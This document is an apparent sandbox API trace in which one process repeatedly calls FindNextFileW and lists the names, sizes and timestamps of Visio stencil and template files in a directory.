	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf863c600, ftCreationTime.dwHighDateTime=0x1ca4729, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf863c600, ftLastWriteTime.dwHighDateTime=0x1ca4729, nFileSizeHigh=0x0, nFileSizeLow=0x1ac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRAWTL_M.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0100, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbc0100, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRAWTL_U.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e5b00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x31e5b00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_M.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e2d4700, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9e2d4700, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_M.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580b500, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x580b500, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_U.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f1fb00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa2f1fb00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLD_U.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17625800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17625800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_M.VSS", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4d39e00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4d39e00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_M.VST", cAlternateFileName="")) returned 1
	[0053.264] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2812ce00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2812ce00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x63600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_U.VSS", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5d0600, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbe5d0600, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x1e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DTLNET_U.VST", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a752800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2a752800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVCALL_M.VSS", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f39dc00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f39dc00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x4b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVCALL_U.VSS", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa7400, ftCreationTime.dwHighDateTime=0x1ca36a2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37aa7400, ftLastWriteTime.dwHighDateTime=0x1ca36a2, nFileSizeHigh=0x0, nFileSizeLow=0xf699f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV_M.VTX", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37aa7400, ftCreationTime.dwHighDateTime=0x1ca36a2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37aa7400, ftLastWriteTime.dwHighDateTime=0x1ca36a2, nFileSizeHigh=0x0, nFileSizeLow=0xef20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV_U.VTX", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44af0600, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x44af0600, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x5d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_M.VSS", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc321ba00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc321ba00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_M.VST", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c868a00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5c868a00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_U.VSS", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9179b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc9179b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECHIP_U.VST", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64dec500, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64dec500, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x26000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECOMP_M.VSS", cAlternateFileName="")) returned 1
	[0053.265] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e682d00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6e682d00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x24600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EECOMP_U.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cb64900, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cb64900, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x39800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEFUND_M.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b046500, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8b046500, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEFUND_U.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0d7c00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf0d7c00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEGENR_M.VST", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5035d00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5035d00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEGENR_U.VST", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2a6b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdc2a6b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEICS_M.VST", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2204c00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2204c00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEICS_U.VST", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc91900, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8fc91900, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0xde00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAIN_M.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948dcd00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x948dcd00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAIN_U.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0798f00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0798f00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAPS_M.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac655100, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x508204e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac655100, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMAPS_U.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb25b3200, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb25b3200, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMECH_M.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71fe600, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb71fe600, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x14800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEMECH_U.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf782100, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbf782100, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEPATH_M.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d05c00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc7d05c00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEPATH_U.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc63d00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdc63d00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEQUAL_M.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3bc1e00, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3bc1e00, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEQUAL_U.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde76b300, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xde76b300, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESEMI_M.VSS", cAlternateFileName="")) returned 1
	[0053.266] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9314800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe9314800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x29a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESEMI_U.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc441800, ftCreationTime.dwHighDateTime=0x1ca472a, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfc441800, ftLastWriteTime.dwHighDateTime=0x1ca472a, nFileSizeHigh=0x0, nFileSizeLow=0x4b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESWCH_M.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf56e800, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50846640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf56e800, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x48600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESWCH_U.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea788700, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xea788700, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESYS_M.VST", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d0c200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf2d0c200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EESYS_U.VST", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x167df600, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x167df600, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETCOM_M.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da50400, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da50400, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETCOM_U.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x272e6c00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x272e6c00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETERM_M.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e90100, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x31e90100, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETERM_U.VSS", cAlternateFileName="")) returned 1
